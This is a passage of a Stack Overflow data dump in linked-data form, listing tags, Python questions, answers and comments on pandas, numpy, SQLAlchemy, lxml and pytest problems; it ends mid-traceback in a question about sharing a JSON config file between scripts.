tags question: http://stackoverflow.com/q/48732991
tags question: http://stackoverflow.com/q/48701827
tags question: http://stackoverflow.com/q/48729174
tags question: http://stackoverflow.com/q/48681012
tags question: http://stackoverflow.com/q/48782150
tags question: http://stackoverflow.com/q/48715594
tags question: http://stackoverflow.com/q/48691429
tags question: http://stackoverflow.com/q/48774925
tags question: http://stackoverflow.com/q/48703112

http://stackoverflow.com/a/48676481
answers question: http://stackoverflow.com/q/48671317
has body: distance = spatial.distance.cdist(df1, df2, metric='euclidean') idx = np.where(distance &lt; 5) pd.DataFrame({"car":df1.iloc[idx[0]].index.values, "tree":df2.iloc[idx[1]].index.values, "dist": distance[idx]}) car dist tree 0 3 1.414214 8 1 4 2.236068 8 2 5 2.000000 8 The (i, j) entry of cdist is the distance between the ith item in first group of items and jth item in the second group of items. We use np.where to identify the (i, j) pairs in distance that satisfy the condition distance &lt; 5. We built a new dataframe with the index gained from the last step. idx[0] gives the part in df1 we need to retrieve and idx[1] gives the part in df2 that we need to get.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48671317
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/84371923

http://stackoverflow.com/q/48799232
linked to: http://stackoverflow.com/q/26583832
downvote count: 0
tagged with: sqlalchemy
has comment: http://stackoverflow.com/comment/84602016
type: Question
has answer: http://stackoverflow.com/a/48801087
accepted answer: http://stackoverflow.com/a/48801087
score: 5
possible better answer: http://stackoverflow.com/a/48814390
has comment: http://stackoverflow.com/comment/84601920
has answer: http://stackoverflow.com/a/48814390
answer count: 3
has comment: http://stackoverflow.com/comment/84601887
has comment: http://stackoverflow.com/comment/84613281
has comment: http://stackoverflow.com/comment/84626900
has comment: http://stackoverflow.com/comment/84622481
tagged with: oracle12c
favorite count: 0
tagged with: listagg
upvote count: 5
has body: Here is a simple Oracle table: +-----------+---------+ | food | person | +-----------+---------+ | pizza | Adam | | pizza | Bob | | pizza | Charles | | ice cream | Donald | | hamburger | Emma | | hamburger | Frank | +-----------+---------+ And here are the results of an aggregated SELECT I'd like to do: +-----------+------------------+ | food | people | +-----------+------------------+ | hamburger | Emma,Frank | | ice cream | Donald | | pizza | Adam,Bob,Charles | +-----------+------------------+ With Oracle 11g+ this is easy enough with a LISTAGG: SELECT food, LISTAGG (person, ',') WITHIN GROUP (ORDER BY person) AS people FROM mytable GROUP BY food; But I haven't been able to find a way to do this within SQLAlchemy. An old question from Stack Overflow shows where someone was trying to implement a custom class to do the job, but is that really the best option there is? MySQL has a group_concat feature, and thus this questioner solved his problem with func.group_concat(...). Sadly that function is not available within Oracle.
tagged with: oracle-database
has title: Is there a LISTAGG WITHIN GROUP equivalent in SQLAlchemy?
has comment: http://stackoverflow.com/comment/84632506
tagged with: python
has answer: http://stackoverflow.com/a/51658820
type: AnsweredQuestion

http://stackoverflow.com/q/48650080
has comment: http://stackoverflow.com/comment/84342945
type: Question
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/48672932
favorite count: 0
has body: I am trying to read the two line elements for STRaND-1 from this link: https://celestrak.org/NORAD/elements/cubesat.txt, so I can track it from a ground station I'm building. I don't really understand how to use the xtree.xpath command an I'd like to learn how. I'm trying the following code that I found from a similar question asked on here a while ago: import numpy as np from lxml import html import requests line_number = 50 for word in range(0,5): page = requests.get("https://celestrak.org/NORAD/elements/cubesat.txtid=%s" % word) tree = html.fromstring(page.text) print (tree.xpath("//b/text()") This should print the code between the elements of the html page right? How do I just print from a certain line? Expecially when there is no html prefix before the text that I want? Thanks for your time.
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84298584
tagged with: lxml
has title: lxml-html read produces empty list Python 3.6.4
tagged with: python
has comment: http://stackoverflow.com/comment/84342072
tagged with: parsing
tagged with: xpath
has answer: http://stackoverflow.com/a/48672970
accepted answer: http://stackoverflow.com/a/48672970
upvote count: 3
has comment: http://stackoverflow.com/comment/84343392
has comment: http://stackoverflow.com/comment/84343149
possible better answer: http://stackoverflow.com/a/48672932
type: AnsweredQuestion
score: 3

http://stackoverflow.com/comment/84514947
has text: You haven't included enough code in your question to reproduce the issue so it's difficult to help. Putting `django.setup()` in your settings is incorrect - where did you read that it would help?
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48756178

http://stackoverflow.com/comment/84455917
comment on: http://stackoverflow.com/a/48719357
type: AnswerComment
score: 0
type: Comment
has text: After doing pip install trytond_webdav, now I get: File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/trytond/modules/currency/__init__.py", line 5, in <module> from .currency import * File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/trytond/modules/currency/currency.py", line 6, in <module> from trytond.tools import safe_eval, datetime_strftime ImportError: cannot import name safe_eval

http://stackoverflow.com/q/48731050
favorite count: 0
has answer: http://stackoverflow.com/a/48731164
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84461347
has answer: http://stackoverflow.com/a/48731208
tagged with: python
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/48731156
upvote count: 3
has answer: http://stackoverflow.com/a/48731156
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84462519
accepted answer: http://stackoverflow.com/a/48731208
has title: How to find decimal value of 1D binary array in numpy Python
tagged with: numpy
answer count: 3
tagged with: arrays
has body: I have a boolean numpy array like this, &gt;&gt;&gt; np_arr array([[1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 1, 0, 0], [1, 1, 1, 1, 0, 1, 0, 0], [1, 1, 1, 1, 0, 1, 0, 0]]) and another 1D array like this, &gt;&gt;&gt; another_arr array([128, 64, 32, 16, 8, 4, 2, 1]) I want to somehow do some and or addition to get only values where that 1 is present something like, &gt;&gt;&gt; np_arr array([[128,64,32,8, 0, 0, 2, 1], [128,64,32,8, 0, 0, 2, 1], .................... [128,64,32,8, 0,4, 0, 0], .....................) So then I can then sum them to find the binary value of the each 1D array in the 2D array.. Or is some simple way to get decimal value numpy array as result?
has comment: http://stackoverflow.com/comment/84461958

http://stackoverflow.com/comment/84515675
comment on: http://stackoverflow.com/a/48739078
has text: Windows Command prompt / Batch does not understand what a `.` is on its own. the dot is a special character in POSIX / UNIX-like environments. See [here](https://en.wikipedia.org/wiki/Dot_(command)) for more info. The posts you mention were probably made by people on Linux / BSD / mac, etc
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/48726319
upvote count: 2
has body: Instead of randomly choosing an element, randomly choose an index. You can then remove the element at that index and append it to another list in one single line with pop: &gt;&gt;&gt; import random &gt;&gt;&gt; a = [1, 2, 3, 4] &gt;&gt;&gt; b = [] &gt;&gt;&gt; b.append(a.pop(random.randint(0, len(a)))) &gt;&gt;&gt; &gt;&gt;&gt; a [1, 3, 4] &gt;&gt;&gt; b [2]
score: 2
answers question: http://stackoverflow.com/q/48726264
downvote count: 0
type: Answer

elasticsearch-py
tags question: http://stackoverflow.com/q/48711455
tag name: elasticsearch-py
type: Tag

http://stackoverflow.com/comment/84586002
score: 0
has text: Edit the question to include the Python code you have written so far.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48791666

http://stackoverflow.com/a/48678753
score: 3
upvote count: 3
has body: because a *= 1 + 1 is the same as a = a *(1 + 1) since a is 0 then the result is still 0
answers question: http://stackoverflow.com/q/48678728
downvote count: 0
type: Answer

http://stackoverflow.com/comment/84529246
comment on: http://stackoverflow.com/a/48764305
type: AnswerComment
score: 0
type: Comment
has text: @Sanchay: in parallel

http://stackoverflow.com/comment/84542691
type: Comment
has text: Thank you very much
score: 0
comment on: http://stackoverflow.com/a/48768870
type: AnswerComment

http://stackoverflow.com/q/48670701
has answer: http://stackoverflow.com/a/48672847
has comment: http://stackoverflow.com/comment/84341129
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84342307
has title: Applying if statements to replace data in 'Column Y' corresponding to different rows in 'Column X'
type: Question
has comment: http://stackoverflow.com/comment/84340845
answer count: 2
has answer: http://stackoverflow.com/a/48672208
accepted answer: http://stackoverflow.com/a/48672208
favorite count: 0
upvote count: 3
has comment: http://stackoverflow.com/comment/84339751
tagged with: pandas
downvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84339652
possible better answer: http://stackoverflow.com/a/48672847
has body: Below is a slice of data I am working on and there are thousands of rows and other columns. I have to change the values in 'Column Y' according to the below conditions in 'Column X'. If Column X is "FIRST" : cell#1 = epithelial cell#2 = nerve If Column X is "SECOND": cell#1 = endothelial cell#2 = muscle Dataframe: Column X Column Y FIRST cell#1 FIRST A FIRST cell#2 FIRST C SECOND N SECOND V SECOND cell#1 SECOND cell#2 Code: for row in df['Column X']: if row == "FIRST": df.loc[(df['Column Y']== "cell#1"), 'Column Y'] = "epithelial" df.loc[(df['Column Y']== "cell#2"), 'Column Y'] = "nerve" elif row == "SECOND": df.loc[(df['Column Y']== "cell#1"), 'Column Y'] = "endothelial" df.loc[(df['Column Y']== "cell#2"), 'Column Y'] = "muscle" else: pass My code does above does not work, the condition for rows=='FIRST' applies throughout the dataframe, and ignores the condition for rows=='SECOND". Please help. EXPECTED OUTCOME: Column X Column Y FIRST epithelial FIRST A FIRST nerve FIRST C SECOND N SECOND V SECOND endothelial SECOND muscle OUTPUT for my above code (which is incorrect): Column X Column Y FIRST epithelial FIRST A FIRST nerve FIRST C SECOND N SECOND V SECOND epithelial SECOND nerve The last two rows in Column Y should be "endothelial" and "muscle", not "epithelial" and "nerve"
has comment: http://stackoverflow.com/comment/84340643

http://stackoverflow.com/comment/84496211
comment on: http://stackoverflow.com/a/48745030
type: AnswerComment
type: Comment
score: 0
has text: The [documentation](https://docs.scipy.org/doc/numpy/reference/generated/numpy.moveaxis.html) says that `moveaxis` returns a view...

http://stackoverflow.com/comment/84478489
comment on: http://stackoverflow.com/q/48739128
has text: if you horizontally scroll to the end of the line you will see "data" there; sorry, it's a bit messy
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84520604
has text: can you please post the original image?
comment on: http://stackoverflow.com/q/48759933
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/73641146
answers question: http://stackoverflow.com/q/48764485
score: 0
type: Answer
has body: This worked for me: image.astype('uint8')

http://stackoverflow.com/comment/84410247
has text: How is [tag:tkinter] related?
comment on: http://stackoverflow.com/q/48705926
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48779475
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84560679
score: 1
has comment: http://stackoverflow.com/comment/84560612
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84560650
tagged with: excel-automation
has title: How to code the exception for a column in excel using pandas?
has answer: http://stackoverflow.com/a/48779565
has comment: http://stackoverflow.com/comment/84560996
has body: Sample data: | | Status | Failed | In Progress | Passed | Untested | |---|-------------------------|--------|-------------|--------|----------| | 2 | P0 Dry Run - 13/02/18 | 2.0 | | 143.0 | 5.0 | | 3 | P1 Test Plan - 06/02/18 | 4.0 | | 247.0 | 367.0 | | 4 | P2 Test plan - 03/01/18 | 22.0 | 2.0 | 496.0 | 54.0 | Code: msft = pd.read_csv("C:\\Users\\gomathis\\Downloads\\week_071.csv") msft = msft'Passed', 'Failed', 'Blocked', 'In Progress', 'Not_Implemented', 'Not Applicable', 'Clarification Opened', 'Untested' msft.to_csv("C:\\Users\\gomathis\\Downloads\\week_072.csv") Error: KeyError: "['Blocked'] not in index" Expected result: I need an exception for a column which may not be available now but in future it may come. So help me accordingly to solve this.
tagged with: pandas
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84560594
accepted answer: http://stackoverflow.com/a/48779565

http://stackoverflow.com/q/48784042
tagged with: class
upvote count: 2
has answer: http://stackoverflow.com/a/48797167
favorite count: 0
has title: How to pass complex class members to pytest parametrize decorator
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48789611
score: 2
downvote count: 0
tagged with: pytest
type: Question
answer count: 2
has body: I need to pass class members as parameters to pytest.mark.parametrize. The following code does not work (I've used simple members strings, but in my case they are complex and constructed): import pytest class TestSmth(object): def setup_class(cls): cls.a = "a" cls.b = "b" cls.c = "c" @pytest.mark.parametrize("test_input,expected", [ (self.a, "a"), (self.b, "b"), (self.c, "c") ]) def test_members(test_input, expected): assert test_input == expected Is it possible to achieve such result? Or something similar?
linked to: http://stackoverflow.com/q/14745223
linked to: http://stackoverflow.com/q/341379

http://stackoverflow.com/comment/84445597
score: 0
has text: You are right, I'm using CLang (not gcc) in my projects and it works nicely with C++11 constructs
comment on: http://stackoverflow.com/q/48723145
type: Comment
type: QuestionComment

substring
tags question: http://stackoverflow.com/q/48734357
type: Tag
tags question: http://stackoverflow.com/q/48688763
tags question: http://stackoverflow.com/q/48738060
tags question: http://stackoverflow.com/q/48757318
tag name: substring

http://stackoverflow.com/a/48771760
score: 2
accepted answer of: http://stackoverflow.com/q/48771617
upvote count: 2
has body: You could use the string module: import string punc = string.punctuation def get_counts(s): dic = {"alpha":0, "numeric": 0, "punc":0} for l in s: if l.isalpha(): dic["alpha"]+=1 elif l.isnumeric(): dic["numeric"]+=1 elif l in punc: dic["punc"]+=1 return dic s='Hello World! 1,2,3!' get_counts(s) {'alpha': 10, 'numeric': 3, 'punc': 4}
answers question: http://stackoverflow.com/q/48771617
has comment: http://stackoverflow.com/comment/84544655
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/a/48653327
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/48653291
downvote count: 0
has body: Two very simple things: You never return anything. By default, Python is going to return None. You can fix this by adding a return statement in addition to or in lieu of your print statement. def grade(mark): grds = ['First','Upper Second','Second','Third','F1 Supp.','F2','F3'] if mark &gt;= 75.0: print("Your grade is",grds[0]) return grds[0] elif 75.0 &gt; mark &gt;= 70.0: print("Your grade is",grds[1]) return grds[1] You can simplify your expression. Python accepts ranges of expressions analogous to mathematical ranges (e.g. 0 &lt;= x &lt;= 100 is valid Python). You can see an example of that above; I leave cleaning it up and making it more readable as an exercise for the reader.
type: Answer

http://stackoverflow.com/comment/84486138
comment on: http://stackoverflow.com/q/48742985
has text: Is that clearer now? It cannot seem to access the bluetooth output when using the ibeacon class to initialise the program.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84431233
comment on: http://stackoverflow.com/q/48715829
score: 0
type: Comment
type: QuestionComment
has text: Out of curiosity, why the downvotes and vote to close? Question asked, question answered. What's being asked is clear from context. Sure, it's a minor error that was easily fixed, but I'm sure I'm not the only Python user who has or will ever experience this problem. For that reason alone, it's probably worthwhile to retain the question.

http://stackoverflow.com/comment/84460063
type: Comment
has text: I need a code which can also do vice versa of this i.e create binary image to grayscale image
comment on: http://stackoverflow.com/a/48729796
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84301368
comment on: http://stackoverflow.com/a/48651273
type: AnswerComment
has text: You probably have duplicate column names. `mega.columns[mega.columns.duplicated()]`. If so, try: `indexRow = pd.DataFrame(list(range(df.shape[1])), index=mega.columns).T`
type: Comment
score: 2

http://stackoverflow.com/comment/84384137
comment on: http://stackoverflow.com/q/48667783
score: 0
type: Comment
type: QuestionComment
has text: @CrisLuengo any idea how can I do JIT compilation in python? As I said Im quite new to this, so any links or pointers would be a great help. Thanks. Yes actually I didnt wish to trace some lines more than once as I thought it would just be more time consuming, so I took this approach so that each line is traced just once.

http://stackoverflow.com/comment/84579232
type: QuestionComment
has text: @ClockSlave, added the variables in the flask app. So they are hard set in the app which then sends them to the class PortfolioPerf to portfolio_add_perf method. That method them pushes them through another method stock_quantity.
comment on: http://stackoverflow.com/q/48780792
score: 0
type: Comment

http://stackoverflow.com/q/48708219
type: Question
has comment: http://stackoverflow.com/comment/84415259
score: 4
linked to: http://stackoverflow.com/q/3975376
has comment: http://stackoverflow.com/comment/84415216
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48708261
tagged with: python
upvote count: 4
tagged with: pass-by-value
has answer: http://stackoverflow.com/a/48708261
type: AnsweredQuestion
downvote count: 0
has title: Pass mutable object by value
has body: I am altering a state dictionary in a for loop and appending the new states to a list every iteration. In Python, dictionaries are of course mutable so what gets appended to the list is a reference to the continuously mutating dictionary object. So at the end I just get a list of the same duplicated reference, pointing to the final version of the state. state = {'temp': 21.6, 'wind': 44.0} state_list = [] for i in range(10): state['temp'] += 0.5 state['wind'] -= 0.5 state_list.append(state) Is there a way to tell the interpreter that I wish to 'pass by value'? I am capable of constructing a tuple or something mutable from the state the line before the append, and appending the list with say tuples. I just want to check this is the best solution.
tagged with: pass-by-reference

http://stackoverflow.com/q/48748804
type: Question
has answer: http://stackoverflow.com/a/48749320
linked to: http://stackoverflow.com/q/11012981
has answer: http://stackoverflow.com/a/48749591
has answer: http://stackoverflow.com/a/69559024
tagged with: pandas-groupby
tagged with: pandas
has title: Sumifs in Pandas with two conditions
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has body: I want the pandas equivalent of the Excel's sumifs for example =SUMIFS($D4:D$107,$D$107,$G4:G$107) I have three columns, the contract, the amount and transaction_type_tla. For each contract, I would like to sum the amount if the transaction type is CBP. The following formula is not working: data['Var']=(data.groupby('contract',"transaction_type_tla=='CBP'")['amount'].cumsum())
tagged with: python
answer count: 4
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/48749481

stub
tags question: http://stackoverflow.com/q/48779429
tag name: stub
type: Tag

http://stackoverflow.com/comment/108075911
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48747757
has text: Down voted because the sample initializes executor but never does anything with it.

http://stackoverflow.com/comment/84358859
comment on: http://stackoverflow.com/a/48680772
score: 0
type: AnswerComment
has text: @HyungminCho OK, interesting. That's not what I would expect. One other thing you could try is switching the order of `quiz` and `selected_verb`
type: Comment

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/48679796
tags question: http://stackoverflow.com/q/48661880
tags question: http://stackoverflow.com/q/48780104
tags question: http://stackoverflow.com/q/48740198
tags question: http://stackoverflow.com/q/48710871
tags question: http://stackoverflow.com/q/48652482
tags question: http://stackoverflow.com/q/48709720
tags question: http://stackoverflow.com/q/48736725
tags question: http://stackoverflow.com/q/48741588
tags question: http://stackoverflow.com/q/48729264
tags question: http://stackoverflow.com/q/48760328
tags question: http://stackoverflow.com/q/48733835
tags question: http://stackoverflow.com/q/48757025
tags question: http://stackoverflow.com/q/48775143
tags question: http://stackoverflow.com/q/48653106
tags question: http://stackoverflow.com/q/48767549
tags question: http://stackoverflow.com/q/48692190
tags question: http://stackoverflow.com/q/48708101
tags question: http://stackoverflow.com/q/48764603
tags question: http://stackoverflow.com/q/48791465
tags question: http://stackoverflow.com/q/48715569
tags question: http://stackoverflow.com/q/48687857
tags question: http://stackoverflow.com/q/48705527
tags question: http://stackoverflow.com/q/48689396
tags question: http://stackoverflow.com/q/48705153
tags question: http://stackoverflow.com/q/48789686
tags question: http://stackoverflow.com/q/48648177
tags question: http://stackoverflow.com/q/48647816
tags question: http://stackoverflow.com/q/48682916
type: Tag
tags question: http://stackoverflow.com/q/48654499
tags question: http://stackoverflow.com/q/48654600
tags question: http://stackoverflow.com/q/48708656
tags question: http://stackoverflow.com/q/48672616
tags question: http://stackoverflow.com/q/48673275
tags question: http://stackoverflow.com/q/48700398
tags question: http://stackoverflow.com/q/48686258
tags question: http://stackoverflow.com/q/48659673
tags question: http://stackoverflow.com/q/48704577
tags question: http://stackoverflow.com/q/48799929
tags question: http://stackoverflow.com/q/48671629
tags question: http://stackoverflow.com/q/48666671
tags question: http://stackoverflow.com/q/48659843
tags question: http://stackoverflow.com/q/48747401
tags question: http://stackoverflow.com/q/48738556
tags question: http://stackoverflow.com/q/48717592
tag name: json
tags question: http://stackoverflow.com/q/48786675
tags question: http://stackoverflow.com/q/48716934
tags question: http://stackoverflow.com/q/48798462
tags question: http://stackoverflow.com/q/48787264
tags question: http://stackoverflow.com/q/48732470
tags question: http://stackoverflow.com/q/48733794
tags question: http://stackoverflow.com/q/48650913
tags question: http://stackoverflow.com/q/48667075
tags question: http://stackoverflow.com/q/48775503
tags question: http://stackoverflow.com/q/48735170
tags question: http://stackoverflow.com/q/48666127
tags question: http://stackoverflow.com/q/48721762
tags question: http://stackoverflow.com/q/48792474
tags question: http://stackoverflow.com/q/48646671
tags question: http://stackoverflow.com/q/48722840
tags question: http://stackoverflow.com/q/48757828
tags question: http://stackoverflow.com/q/48677605
tags question: http://stackoverflow.com/q/48787882
tags question: http://stackoverflow.com/q/48722598
tags question: http://stackoverflow.com/q/48766485
tags question: http://stackoverflow.com/q/48674519
tags question: http://stackoverflow.com/q/48725546
tags question: http://stackoverflow.com/q/48646319
tags question: http://stackoverflow.com/q/48733642
tags question: http://stackoverflow.com/q/48773267
tags question: http://stackoverflow.com/q/48752209
tags question: http://stackoverflow.com/q/48791188
tags question: http://stackoverflow.com/q/48792318
tags question: http://stackoverflow.com/q/48718692
tags question: http://stackoverflow.com/q/48667860
tags question: http://stackoverflow.com/q/48673900
tags question: http://stackoverflow.com/q/48652496
tags question: http://stackoverflow.com/q/48736801

http://stackoverflow.com/q/48727105
duplicate of: http://stackoverflow.com/q/588004
tagged with: python-3.5
has title: numpy round doesn't produce the required answer
downvote count: 0
favorite count: 0
has body: I have the following: variable1 34.30338950876217 import numpy as np np.round(variable1, decimals=2) 34.29999999999995 Why am I not getting the desired answer of 34.30?
has comment: http://stackoverflow.com/comment/84453341
tagged with: python
answer count: 0
type: UnansweredQuestion
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84453238
score: 1
linked to: http://stackoverflow.com/q/588004
tagged with: numpy

http://stackoverflow.com/q/48692641
has title: Alternative to c++ STD::map (need fast lower_bound method) in python
tagged with: python
has comment: http://stackoverflow.com/comment/84383645
has comment: http://stackoverflow.com/comment/84384020
has comment: http://stackoverflow.com/comment/84383572
type: UnansweredQuestion
type: Question
upvote count: 5
has body: I need alternative to std::map from cpp. I know about dictionary but it uses hash map, which doesn't support that always sorted feature. Ideally i need something in standard library. More formaly I need data structure that is able to be always sorted and add elements in logarithmic time. Something like map accomplishes with red-black trees. Edit: I need full sorted not just heap. Edit 2: OrderedDict remembers order of insertion, but I need sorting ... If I insert median it should be inserted in the middle not the end.
has comment: http://stackoverflow.com/comment/84383850
score: 5
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48693072
has comment: http://stackoverflow.com/comment/84397992
tagged with: data-structures
favorite count: 0

http://stackoverflow.com/a/48785130
score: 1
has body: Pass filter arguments as dict and use ** syntax to unpack it: @classmethod def percentage_is_this_done(cls, problem, filters): votes = cls.objects.filter(problem=problem) total_votes = votes.count() yes_votes = votes.filter(filters).count() percentage_yes = (yes_votes / total_votes) * 100 return percentage_yes to call this method: MyClass.percentage_is_this_done(problem, {'is_this_done': True})
answers question: http://stackoverflow.com/q/48784861
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/comment/84371305
comment on: http://stackoverflow.com/q/48686574
type: Comment
type: QuestionComment
score: 0
has text: you sample data? What you've tried? What's error message?

http://stackoverflow.com/comment/84580225
type: Comment
comment on: http://stackoverflow.com/a/48789083
has text: I'll use @jezrael's solution, but thanks for showing another way to do it, it is always usefull to see different possibilities.
score: 0
type: AnswerComment

http://stackoverflow.com/q/48795574
downvote count: 1
tagged with: coordinates
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84594250
tagged with: arrays
has body: I have a 128-length (s) array cube with unique values held at each point inside. At the center of this cube is the meat of the data (representing an object), while on the inner borders of the cube, there are mostly zero values. I need to shift this entire array such that the meat of the data is actually at the origin (0,0) instead of at (s/2, s/2, s/2)... such that my new coordinate origin is actually at (-s/2, -s/2, -s/2). What is the best way to tackle this problem? Edit: Sorry for the lack of data - I'm using a .mrc file. This is all to circumvent a plotting issue in mayaVI using its contour3d method. Perhaps I should be finding a way to translate my plotted object (with mayaVI) instead of translating my raw data array? But aren't these two technically the same thing?
has comment: http://stackoverflow.com/comment/84593539
has comment: http://stackoverflow.com/comment/84594080
answer count: 1
accepted answer: http://stackoverflow.com/a/49395441
has title: Translating entire coordinates of array to new origin
has comment: http://stackoverflow.com/comment/84593882
favorite count: 0
tagged with: translation
tagged with: python
has comment: http://stackoverflow.com/comment/84593554
type: AnsweredQuestion
score: 0
upvote count: 1
has answer: http://stackoverflow.com/a/49395441

http://stackoverflow.com/a/48751799
upvote count: 3
has body: I had the same problem with the string formatting operator. Therefore use this: """Create an auth token""" token = jwt.encode(payload, secret, algorithm=alg, headers=headers) token_str = token.decode('utf-8') # converts bytes to string url = "https://api.music.apple.com/v1/catalog/us/playlists/pl.14362d3dfe4b41f7878939782647e0ba" print("curl -v -H 'Authorization: Bearer" + token_str + "\"" + url + "\"") Further: I assume you want to access the data directly. For this you can use the requests library: import requests request_obj = requests.get(url, headers={'Authorization': "Bearer " + token_str}) json_dict = request_obj.json() Cheers!
answers question: http://stackoverflow.com/q/48674386
score: 3
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/107495474

http://stackoverflow.com/comment/84397992
comment on: http://stackoverflow.com/q/48692641
has text: bisect module can do binary search but yeah the important part is logarithmic inserting.
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/a/48747846
answers question: http://stackoverflow.com/q/48746601
has comment: http://stackoverflow.com/comment/84496488
has body: As per the reference code block you have provided you can use the following code block to avoid StaleElementReferenceException : PageRange = range(1, 50) for page in PageRange: URL = "http://www.oddsportal.com/baseball/usa/mlb-" + season + "/results/#/page/" + str(page) + "/" driver.get(URL) elems = WebDriverWait(driver, 30).until(EC.visibility_of_all_elements_located((By.XPATH, "//a[@href]"))) for elem in elems: print(elem.get_attribute("href"))
has comment: http://stackoverflow.com/comment/84496156
score: 0
has comment: http://stackoverflow.com/comment/84496236
type: Answer

http://stackoverflow.com/comment/84508702
type: Comment
comment on: http://stackoverflow.com/q/48753605
score: 0
type: QuestionComment
has text: so after the first command its tell me "Requirements are already up to date" and after the second command: Couldn't find a version that satisfies the requirement pyinsane2 (from versions: ). No matching distribution found for pyinsane2

http://stackoverflow.com/a/71981320
score: 2
downvote count: 0
has body: You can use onkeypress(fun, key=None) instead of using onkey() or onkeyrelease(). These two only register the input when the key is released. onkeypress(fun, key=None) registers it while the key is pressed down. Here's a link to it in the Turtle documentation.
upvote count: 2
answers question: http://stackoverflow.com/q/48668949
type: Answer

http://stackoverflow.com/comment/84562553
has text: I'm not using any encoding, i already shared the code snippet here. @TWrist
type: QuestionComment
comment on: http://stackoverflow.com/q/48780482
type: Comment
score: 0

http://stackoverflow.com/q/48780349
favorite count: 0
tagged with: correlation
answer count: 0
type: UnansweredQuestion
tagged with: python
downvote count: 0
score: 1
type: Question
tagged with: graph
upvote count: 1
has comment: http://stackoverflow.com/comment/84562565
has title: Python – visualise correlation in data
linked to: http://stackoverflow.com/q/13513455
has body: I have a dataframe and want to identify how the variables are correlated. I can get the correlation matrix easily using – df.corr(). I know I can easily plot the correlation matrix using plt.matshow(df.corr()) or seaborn's heatmap, but I'm looking for something like this - graph taken from here. In this image, the thicker the line connecting the variables is, the higher the correlation. I did a few searches on stack and elsewhere but all of them are correlation matrices where the values have been replaced by colors. Is there a way to achieve the linked plot?
has comment: http://stackoverflow.com/comment/84562951

http://stackoverflow.com/comment/84916435
comment on: http://stackoverflow.com/a/48935288
type: Comment
score: 0
type: AnswerComment
has text: @user3491987 oops... then I have no idea how to do in tensorflow. How about `tf.py_func()`?

http://stackoverflow.com/a/49311343
upvote count: 1
answers question: http://stackoverflow.com/q/48652676
type: Answer
downvote count: 0
score: 1
has body: The problem is in the call to MetPy's interpolate function. With the setting of hres=35000, it is generating a grid spaced at 35km. However, it appears that your data points are spaced much more closely than that; together, that results in a generated grid that has only two points, as shown as the red points below (black points are the original stations with non-masked data): The result is that it only creates two points for the grid, both of which are outside the bounds of your data points; therefore those points end up masked. If instead we set hres to something much lower, say 5km (i.e. 5000), then a much more sensible result comes out:

http://stackoverflow.com/comment/84587431
type: Comment
has text: you know about `process_request` method of Middleware? each request goes through that method before scraping, and for sure, links scraped using Rule class also goes through that method, I know I am not telling you exact solution but just telling something because something may click in your mind
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48789561

http://stackoverflow.com/q/48735170
tagged with: configuration
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/84469595
has comment: http://stackoverflow.com/comment/84470540
type: Question
has answer: http://stackoverflow.com/a/49088256
accepted answer: http://stackoverflow.com/a/49088256
answer count: 1
score: 0
upvote count: 1
downvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84469656
favorite count: 0
has comment: http://stackoverflow.com/comment/84470205
has body: Let's say I have two Python scripts. One script is a web interface that enables a human to edit a configuration file. Another script is one that does various things in the background based on the configurations defined in that file, which it reloads every few seconds in a loop. What is a good format for such a configuration file? I want the format to be human-readable and human-editable, while also being easy to write to and read from without conflicts. At present, I'm thinking that the json module might be a good option, whereby the configuration is essentially a dictionary saved in plaintext to a file and read from that plaintext file into a dictionary. Is this a safe approach? Is there a better approach? Are there going to be problems is one script tries to read from the file while the other is writing to the file? How should this be addressed? So, as a simple example, here are two scripts. One writes a configuration to a JSON plaintext file and one reads the configuration from the file: writer import random import json while True: config = {"a": 1, "b": random.randint(1, 2)} with open("config.json", "w") as file_config: json.dump(config, file_config) reader import json while True: with open("config.json") as file_JSON: config = json.load(file_JSON) print(config) When both of these scripts are run at the same time, the reader script quickly produces the following error: Traceback (most recent call last): File 